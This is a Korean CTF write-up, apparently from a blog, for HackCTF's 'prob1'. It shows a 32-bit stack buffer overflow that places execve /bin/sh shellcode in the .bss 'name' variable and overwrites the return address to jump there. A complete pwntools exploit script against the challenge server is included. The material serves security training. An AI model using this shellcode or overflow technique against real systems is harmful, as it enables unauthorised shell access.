[HackCTF] 내 버퍼가 흘러넘친다!!! (prob1)
System/PWNABLE

[HackCTF] 내 버퍼가 흘러넘친다!!! (prob1)

728x90

check

- 32bit

- NX 적용 X

Analyze

pseudo code

전역 변수 name - bss 영역에 저장

- 간단하게 main 함수에서 해결할 수 있는 문제이다

- name 변수는 IDA를 통해 확인하니 bss 영역에 저장되어있다. name은 전역변수(public)으로 선언되어 따로 초기화되어있지는 않은 값으로 bss 영역에 저장되어 있다.

>> bss영역과 데이터 영역의 차이는 shinluckyarchive.tistory.com/159 이 블로그에서 잘 설명해주셨다!

- read 함수를 이용해 name 변수의 위치(bss영역)에 쉘코드를 저장하고 gets 함수에서의 값을 입력받으면서 쉘 코드를 저장한 영역을 리턴주소로 덮어쓰면서 쉘 코드를 실행시키도록 할 수 있을 것 같다!

read함수의 인자를 전달하면서 역순으로 0x32, 0x804a060(name), 0x0 전달 => read(0, name, 0x32)
name의 주소가 bss영역임을 확인할 수 있다

Exploit

from pwn import *

#p = process("./prob1")
p = remote("ctf.j0n9hyun.xyz", 3003)

sh = "\x31\xc0\xb0\x31\xcd\x80\x89\xc1\x89\xc3\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

p.sendlineafter("Name : ", sh)

pl = "A"*(0x14 + 4)
pl += "\x60\xa0\x04\x08"

p.sendlineafter("input : ",pl)
p.interactive()

! 성공 !

+) name 변수에 저장할 값 sh를 작성할 때 쉘 코드 뒤에 "\x90"을 덧붙여서 했을 때는 EOF를 만나 제대로 쉘이 따지지 않았다. name 변수를 overflow할 것은 아니기 때문에 굳이 0x32byte를 꽉 채울 필요는 없다. name 변수는 쉘코드를 저장하는 목적이기 때문에!!

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] x64 Buffer Overflow  (2) 2021.02.05
[LOB] orc → wolfman  (0) 2021.02.05
[HackCTF] offset  (2) 2021.02.03
[HackCTF] basic_bof2  (2) 2021.02.01
[HackCTF] ROP  (2) 2021.02.01